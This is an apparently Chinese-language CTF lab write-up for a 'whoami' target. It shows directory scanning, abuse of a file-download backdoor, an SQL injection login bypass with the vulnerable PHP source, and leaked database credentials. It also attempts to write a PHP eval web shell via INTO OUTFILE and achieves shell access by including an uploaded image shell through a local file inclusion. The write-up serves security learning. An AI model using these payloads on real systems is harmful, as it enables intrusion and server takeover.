记录一次靶场 –==[whoami]==–

记录一次靶场 –==[whoami]==–

记录一次打靶场

第一个flag

开启环境,我们看到这样的界面:

靶场背景

我们首先通过Network抓包,看一下背景图片内部有无信息。
经过010Editor和exiftool分析,发现内部并没有很明显的隐藏信息。

我们考虑使用dirb对网站目录进行扫描

dirb扫描结果

发现在根目录下面,有/images和/www这两个值得关注的虚拟路径。
于是访问/images,此时显示forbidden:
images访问禁止

除此之外,还有robots.txt文件,我们尝试访问该文件:
flag1

发现一个flag1,明显不是正确的flag。

第二个flag

我们继续追踪/www/路径,使用dirsearch进行扫描:

dirsearch扫描结果

我们先追踪第一个路径,名字为add.php

add.php

从这个页面没有发现什么东西,只有一个上传的入口,一张POST表单。没有其他的路径信息,不知道上传成功与否,路径更是无处得知。
使用简单的xss和注入探测均失效,决定更换入口。
接着查看head.php,这张界面更是啥都没有,只一张图片。继续更换入口。
访问/www/images路径,再次没有权限:

www/imagesforbidden

我们直接进入index.php:
在这里插入图片描述

发现是一个登录页面,查看源码:

在这里插入图片描述

仍然是POST表单,手动SQL注入探测无果。我将其暂时搁置一边,希望能从哪里得到相关的注入信息。

我们接着查看test.php,该页面有一句提示:

file

说是file参数需要传参,我们尝试GET和POST方式传入:file=test.php
使用POST方式传入该键值对时,发现有文件下载。看到文件为传入的value:
在这里插入图片描述

那么我们知到这是一个可以进行文件下载的后门,接下来就是把所有已知路径都下载下来,查看源码。
我们首先查看了index.php

<?php
session_start();
include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
	$_SESSION['logged']='';
}
if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{
	echo "you are logged in :)";
	header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;"><br><br><br>
<font size=8 face="comic sans ms">[----====[[ Who am I ]]====----]</font> 
<br><br>
Show me your skills <br>
<form method=post>
<br><br>
Username : <Input type=text name=un>  &nbsp Password : <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
	$uname=str_replace('\'','',urldecode($_POST['un']));
	$pass=str_replace('\'','',urldecode($_POST['ps']));
	$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
	$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
	   echo "You are allowed<br>";
	   $_SESSION['logged']=true;
	   $_SESSION['admin']=$row['username'];
	 header('Location: panel.php', true, 302);
}
else
{
	echo "<script>alert('Try again');</script>";
}
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 1px 1px 5px;\">Powered By CMS <font color=#ff9933>Pirates</font> ";
?>

此处看到想要执行到mysqli_query(),需要绕过过滤,注入run语句。
这里给出构造方式:password=\ ,username= or 1=1 –

构造原理是利用了在Mysql中,字符串内的:’ 会被转义为字符 ‘,我们将pass后面直到 and uname=的部分当作一段字符串,在最后接上 or 1=1 –

登录成功

SQL注入登录成功

我们看到该页面包含了c.php和head.php两个页面,此时看到c.php:

<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","whoami","whoami_hacker","ica_lab");
// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }

有登录mysql的用户名: whoami,密码: whoami_hacker
我们前往/www/phpmy/页面,使用这组用户名密码尝试登录:
(居然真登进去了

在这里插入图片描述

在ica_lab 中看到flag库:

在这里插入图片描述

这就是第二个flag。
也是错的

第三个flag

我们尝试直接在库中执行:

select "<?php @eval($_POST['hack']);?>" INTO OUTFILE '/var/www/html/www/shell.php';

直接权限不够…

在这里插入图片描述

那肯定至少是没有mysql_file权限,直接放弃继续操作该数据库。

在index.php登录后,我们来到panel.php界面

<?php
session_start();
include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
		header('Location: index.php', true, 302);
		exit();
}
echo "Welcome to whoami ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
	unset($_SESSION['logged']);
	unset($_SESSION['admin']);
	header('Location: index.php', true, 302);
}
echo '<hr><br>';
echo '<form method=post>
<select name=load>
    <option value="show">Show Users</option>
	<option value="add">Add User</option>
</select> 
 &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
        if($choice==='show')
	{
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
}
if(isset($_POST['upload']))
{
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);
							}
				}
			else
			{
				echo "<br>i told you dear, only png,jpg and gif file are allowed";
			}
	}
	else
	{
		echo "<br>only png,jpg and gif file are allowed";
	}
}
}

这时候需要满足:

1. 没有POST[‘lg’]
2. 设置POST[‘continue’]非空
3. 设置POST[‘load’]=文件包含路径
即可实现文件包含

我们考虑图片包含小马来getshell
看到可以通过Add Users向/www/uploaded_images/里面添加图片,我们制作图片马,名为good.jpg,直接上传到目录下。
上传的为php母马,小马原本定向到/www/下,但是试了几次没有成功,考虑是权限的问题,故将生育路径该为/www/uploaded_images/shell.php

在这里插入图片描述

使用hackbar构造payload:

continue=1&load=uploaded_images/good.jpg

在这里插入图片描述

此时访问 /www/uploaded_images/muma.php

在这里插入图片描述

看到小马已存在
钥匙为hack,直接菜刀连接:

在这里插入图片描述

得到最终flag。
提交正确。

                       

点击阅读全文

上一篇 2023年 5月 27日 am10:43
下一篇 2023年 5月 27日 am10:45